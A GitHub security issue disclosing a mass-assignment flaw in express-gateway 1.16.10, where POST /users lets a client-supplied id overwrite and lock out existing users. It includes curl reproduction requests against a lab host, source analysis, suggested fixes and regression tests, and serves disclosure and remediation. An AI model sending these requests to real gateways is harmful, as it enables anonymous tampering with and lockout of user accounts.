Skip to content

Admin API POST /users mass assignment: client-controlled id silently overwrites existing users and bypasses the update allowlist #719

Open

Description

@BL4CK570RM

Admin API POST /users mass assignment: client-controlled id silently overwrites existing users and bypasses the update allowlist

Version : express-gateway 1.16.10 (HEAD a294cac)
Type    : Mass assignment / broken object-level authorization (write)
Weakness: CWE-915 (primary), CWE-639, CWE-73, CWE-284
Severity: HIGH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L = 8.2 as shipped
          MEDIUM — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L = 5.5 once the Admin API is authenticated
Status  : Reproduced 2026-10-03 against a byte-identical pristine default configuration

Summary

POST /users forwards the request body unchanged into validateAndCreateUser(), which generates a
server-side id and then lets the client overwrite it via Object.assign. Uniqueness is enforced
for username only, the datastore layer uses HMSET (merge) rather than create-if-absent, and
the strict property allowlist that guards the update path is never applied to the create path.

Any user record can therefore be silently overwritten by anyone who can reach the Admin API — which,
under the shipped default configuration, is anyone who can reach the gateway port. The overwritten
record then serves attacker-controlled attributes, unknown properties are persisted, and fields the
product deems non-updatable (isActive) become writable, allowing account lockout.


Affected component

# File / line Problem
1 lib/services/consumers/user.service.js:153 user = Object.assign(baseUserProps, newUser); — client id/isActive win
2 lib/services/consumers/user.service.js:143-149 Uniqueness checked for username only; never for id
3 lib/config/models/users.json No additionalProperties: false (grep count = 0) — unknown keys pass AJV
4 lib/services/consumers/user.dao.js:16 hmset(redisUserKey, user) merges instead of failing on collision
5 user.service.js:163-177 vs 135-161 Allowlist validateUpdateToUserProperties applied to update, not to create
6 lib/rest/routes/users.js POST accepts req.body verbatim; the same pattern exists on /apps

Reachability: POST /users is served by the Admin API (lib/rest/index.js:34), and the shipped
gateway.config.yml proxies that Admin API onto the public gateway port with key-auth disabled,
so the route is reachable with no credentials.


Description

POST /users → validateAndCreateUser(req.body):

const baseUserProps = { isActive: 'true', username: _user.username, id: uuidv4() };
user = Object.assign(baseUserProps, newUser);   // client `id` / `isActive` / unknown keys win

Four independent defects combine:

  1. Client-controlled key. Object.assign after id: uuidv4() means a supplied id replaces
    the generated one.
  2. No uniqueness check on id. Only username is checked (user.service.js:146), so a
    duplicate id never triggers 409.
  3. Merge-on-write. user.dao.js:16 uses hmset, which merges the hash instead of failing, so
    the existing record is mutated in place — fields not supplied survive, producing a corrupted
    half-victim/half-attacker record.
  4. Divergent validation. validateUpdateToUserProperties (lines 163-177) enforces a strict
    allowlist and rejects isActive:false with 500 one or more properties is invalid; the create
    path never calls it, so POST accepts the very same fields with 200.

Root cause

# Location Defect
1 user.service.js:153 Object.assign(baseUserProps, newUser) — client overrides server-generated fields
2 user.service.js:143-149 Uniqueness enforced for username only
3 user.dao.js:16 hmset merges; no create-if-absent semantics
4 lib/config/models/users.json No additionalProperties: false
5 user.service.js:163-177 vs 135-161 Allowlist on update, absent on create
6 — Username→ID index never repaired when username changes (dangling set members)

Preconditions

  • Reachability of the Admin API. Under the shipped default this is the public gateway port with
    no credentials
    (the shipped gateway.config.yml proxies the Admin API onto the gateway with
    key-auth disabled); otherwise admin credentials are needed.
  • Knowledge of a target UUID — freely enumerable with GET /users.
  • Not required: Redis (shipped default is emulate: true), victim interaction, restart,
    knowledge of internal hostnames.

Steps to reproduce

Environment: Kali Linux 6.19.14+kali-amd64, Node v24.19.0, gateway *:8080
(EG_CONFIG_DIR pointing at a byte-identical copy of lib/config,
sha256 170ddfced63dbb92614fd51eaa19721cee9f5d610833e47ca8fef83652cf5275).
Transcript: /tmp/opencode/reverify-ac-evidence.txt

[1] Create a victim

curl -s -X POST http://192.168.233.130:8080/users -H 'Content-Type: application/json' \
  -d '{"username":"victim-rv","firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com"}'
{"isActive":true,"username":"victim-rv","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
 "firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com",
 "createdAt":"Sat Oct 03 2026 15:01:39 GMT-0400 (Eastern Daylight Time)",
 "updatedAt":"Sat Oct 03 2026 15:01:39 GMT-0400 (Eastern Daylight Time)"}

[2] Victim BEFORE — GET /users/eabbccc6-…

{"isActive":true,"username":"victim-rv","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
 "firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com", …}

[3] ATTACK — POST /users reusing the victim's id (no Authorization header)

curl -i -X POST http://192.168.233.130:8080/users -H 'Content-Type: application/json' \
  -d '{"id":"eabbccc6-fb67-45da-abcb-f5dd90335687","username":"attacker-own",
       "firstname":"Evil","lastname":"Actor","isActive":false,"injected":"pwned"}'
HTTP 200

[4] Victim AFTER — same id

{"isActive":false,"username":"attacker-own","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
 "firstname":"Evil","lastname":"Actor","email":"victim-rv@example.com",
 "createdAt":"Sat Oct 03 2026 15:01:40 GMT-0400 (Eastern Daylight Time)",
 "updatedAt":"Sat Oct 03 2026 15:01:40 GMT-0400 (Eastern Daylight Time)",
 "injected":"pwned"}

[5] The victim's own username lookup now serves the attacker's record —
GET /users/victim-rv

{"isActive":false,"username":"attacker-own","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
 …,"injected":"pwned"}

[6] CONTROL — the update path refuses exactly what create accepts

PUT  /users/eabbccc6-… {"isActive":false}  ->  HTTP 500  one or more properties is invalid

[7] CONTROL — username is unique, id is not

POST with duplicate username -> HTTP 409
POST with duplicate id       -> HTTP 200      <- the vulnerability

What each observation proves

Observation Consequence
POST with an existing id → 200, record mutated Silent overwrite of any user
email survived while other fields were replaced HMSET merge → corrupted half-record
injected:"pwned" persisted Arbitrary unknown properties accepted on create
isActive:false accepted by POST, 500 by PUT The update allowlist is bypassed
dup id → 200 vs dup username → 409 No id uniqueness check exists
GET /users/victim-rv returns attacker data Username→ID mapping now resolves to attacker attributes

Expected vs actual behavior

Expected Actual
POST with an existing id → 409 Conflict 200 OK, existing record mutated
id generated server-side only, client value ignored Client-supplied id wins
Same field rules on create and update Divergent: isActive:false → 500 on PUT, 200 on POST
Unknown properties rejected Persisted ("injected":"pwned")
Username index stays 1:1 Overwriting username leaves a dangling old mapping, never repaired (even by DELETE)
Collision detected hmset silently merges

Security impact

  • Integrity loss on consumer records for any deployment where the Admin API is reachable.
  • Identity confusion: findByUsernameOrId (used by the routes themselves) now returns
    attacker-controlled attributes for the victim's username, so anything keyed on
    username/email/redirectUri/custom properties acts on attacker data.
  • Account lockout: isActive:false on a shared id disables login for every username mapped
    to it (lib/services/auth.js:75 requires consumer.isActive).
  • Allowlist bypass: fields the product deems non-updatable become writable via create.
  • Data corruption: dangling EG-username:<old> set members are never repaired.
  • Full anonymity under the shipped default: every request above can be sent with no
    credentials at all, because the Admin API is proxied onto the public gateway port without
    authentication.
  • Residual impact once the Admin API requires authentication: an admin already has
    PUT/DELETE on users, so reachability is no longer the issue. What remains distinct is the
    input-validation failure itself — a caller authorised to create users can modify and lock out
    arbitrary existing ones, including fields the update API refuses to set, with no conflict
    detection. That is a privilege and integrity boundary the product otherwise tries to enforce.

Source code analysis

lib/rest/routes/users.js
  POST '/' -> usersService.validateAndCreateUser(req.body)          // body verbatim

lib/services/consumers/user.service.js:135-161   validateAndCreateUser
  :143   const baseUserProps = { isActive:'true', username:_user.username, id: uuidv4() };
  :146   if (!user.username) …
  :147   return serviceDao.get(user.username).then(existing => {
  :148     if (existing) return Promise.reject({ statusCode: 409, … 'username already exists' });
  :149   });
  :151   … AJV validate (no additionalProperties:false)
  :153   user = Object.assign(baseUserProps, newUser);               // client id wins
  :157   return dao.insert(user) …

lib/services/consumers/user.service.js:163-177   validateUpdateToUserProperties   // strict allowlist
                                                   (never called from the create path)

lib/services/consumers/user.dao.js
  :16    return redis.hmset(redisUserKey, user);                     // merge, no existence check
  :132   findByUsernameOrId → EG-username:<x> → id → EG-user:<id>

lib/config/models/users.json      schema has NO "additionalProperties": false

Data flow:

POST /users {"id":<victimId>, …, "isActive":false, "injected":"pwned"}
 -> AJV (permissive)                -> pass
 -> Object.assign(baseUserProps, …) -> id = victimId
 -> uniqueness(username)            -> pass (new username)
 -> dao.insert -> HMSET EG-user:<victimId>   -> merge over existing hash
 -> 200 + mutated record

Reproduction environment

Item Value
OS / arch Kali Linux, 6.19.14+kali-amd64, x86_64
Node.js / npm v24.19.0 / 11.19.0
Gateway instance EG_CONFIG_DIR=/tmp/eg node lib/index.js (byte-identical shipped config)
Listeners gateway *:8080, admin [::1]:9876
Hosts used 192.168.233.130:8080 (LAN), 127.0.0.1, ::1
Datastore in-process emulate: true (no Redis needed)
Evidence /tmp/opencode/reverify-ac-evidence.txt, /tmp/opencode/finding-c-evidence.txt

No third-party or external system was contacted or tested at any point.


False-positive checks

Check Result
Does PUT allow this? No — PUT returns 500 one or more properties is invalid (control 6)
Is it cross-namespace (users vs apps)? No — checked EG-user: / EG-app: / EG-<type>:<consumerId> key spaces; the collision is within the same record type
Is additionalProperties actually open? Yes — grep -c additionalProperties lib/config/models/users.json = 0
Does the schema id field restrict reuse? No pattern/format preventing reuse
Is hmset really merge? Yes — verified by the surviving email field
Prior reports Issue-tracker search (mass assignment, duplicate id) → none; repository security-advisories endpoint → []

Suggested fix

  1. Strip server-managed keys before validation:

    const { id, isActive, createdAt, updatedAt, ...rest } = _user;   // never trust these on create
  2. Enforce key uniqueness — check EG-user:<id> (or use Redis HSETNX) and return 409 on
    collision instead of merging.

  3. Run the same property allowlist on create as on update
    (validateUpdateToUserProperties).

  4. Add "additionalProperties": false to lib/config/models/users.json (and the applications /
    credentials models — /apps has the same pattern).

  5. Make dao.insert fail on collision; never merge an insert.

  6. Keep the username index consistent: srem the old mapping, sadd the new one.

  7. Authenticate the Admin API — otherwise every Admin-API endpoint, including this one, is
    reachable anonymously and the validation defect above becomes a one-request attack.

Operator mitigation (no code change): authenticate the Admin API (after which this requires
admin credentials and the practical severity drops to 5.5) and monitor POST /users traffic for
repeated id values.


Regression test

const request = require('supertest'), assert = require('assert');

it('POST /users with an existing id returns 409 and does not modify the record', async () => {
  const victim = (await request(admin).post('/users')
    .send({ username: 'victim-ma', firstname: 'V', lastname: 'M' })).body;
  const r = await request(admin).post('/users')
    .send({ id: victim.id, username: 'attacker-ma', firstname: 'X', lastname: 'Y' });
  assert.strictEqual(r.status, 409);
  const after = await request(admin).get(`/users/${victim.id}`);
  assert.strictEqual(after.body.username, 'victim-ma');
});

it('POST /users ignores a client-supplied id for a NEW user', async () => {
  const r = await request(admin).post('/users')
    .send({ id: 'ffffffff-0000-0000-0000-000000000000', username: 'new-ma', firstname: 'A', lastname: 'B' });
  assert.ok(r.body.id !== 'ffffffff-0000-0000-0000-000000000000');
});

it('POST /users rejects isActive and unknown properties (parity with PUT)', async () => {
  const r = await request(admin).post('/users')
    .send({ username: 'par-ma', firstname: 'A', lastname: 'B', isActive: false, injected: 'x' });
  assert.ok([400, 422].includes(r.status), `got ${r.status}`);
});

Notes

  • Confirmed locally only. All traffic targeted 192.168.233.130:8080, 127.0.0.1 and ::1;
    no external system was contacted.
  • Novelty: no prior report of this finding in the project's issue tracker; the repository's
    security-advisories endpoint returns [].
  • Project status: officially deprecated/unmaintained (README notice, issue #1011).
  • Scope note: scored as two figures (8.2 as shipped / 5.5 once the Admin API requires
    authentication) so the residual risk is clear even after the reachability is fixed.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions